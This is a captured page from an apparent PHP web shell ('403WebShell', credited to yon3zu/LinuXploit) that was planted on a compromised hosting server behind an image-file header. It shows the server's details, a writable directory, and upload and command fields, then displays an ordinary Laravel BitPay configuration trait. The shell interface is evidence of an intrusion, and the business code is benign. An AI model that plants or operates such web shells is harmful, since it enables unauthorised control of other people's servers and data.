����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 13.58.172.13
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Traits/MakesHttpRequests.php
<?php

namespace Vrajroham\LaravelBitpay\Traits;

use BitPaySDK\Client as BitpayClient;
use BitPaySDK\Env;
use BitPaySDK\Exceptions\BitPayException;
use BitPaySDK\Tokens;
use Vrajroham\LaravelBitpay\Exceptions\InvalidConfigurationException;


trait MakesHttpRequests
{
    /**
     * Get the BitPay client.
     *
     * @throws InvalidConfigurationException
     * @throws BitPayException
     */
    public function setupClient()
    {
        $this->validateAndLoadConfig();

        $this->client = BitpayClient::create()->withData(
            'testnet' == $this->config['network'] ? Env::Test : Env::Prod,
            $this->config['private_key'],
            new Tokens(
                $this->config['merchant_token'], //merchant
                $this->config['payout_token'] //payout
            ),
            $this->config['key_storage_password'] //used to decrypt your private key, if encrypted
        );
    }

    /**
     * Validate and load the config.
     *
     * @throws InvalidConfigurationException
     */
    public function validateAndLoadConfig()
    {
        $config = config('laravel-bitpay');

        if ('livenet' !== $config['network'] && 'testnet' !== $config['network']) {
            throw InvalidConfigurationException::invalidNetworkName();
        }

        if (! class_exists($config['key_storage'])) {
            throw InvalidConfigurationException::invalidStorageClass();
        }

        if ('' === trim($config['key_storage_password'])) {
            throw InvalidConfigurationException::invalidOrEmptyPassword();
        }

        if ((!empty($config['merchant_facade_enabled']) && $config['merchant_facade_enabled'])
            && empty($config['merchant_token'])) {
            throw InvalidConfigurationException::emptyMerchantToken();
        }

        if ((!empty($config['payout_facade_enabled']) && $config['payout_facade_enabled'])
            && empty($config['payout_token'])) {
            throw InvalidConfigurationException::emptyPayoutToken();
        }

        $this->config = $config;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit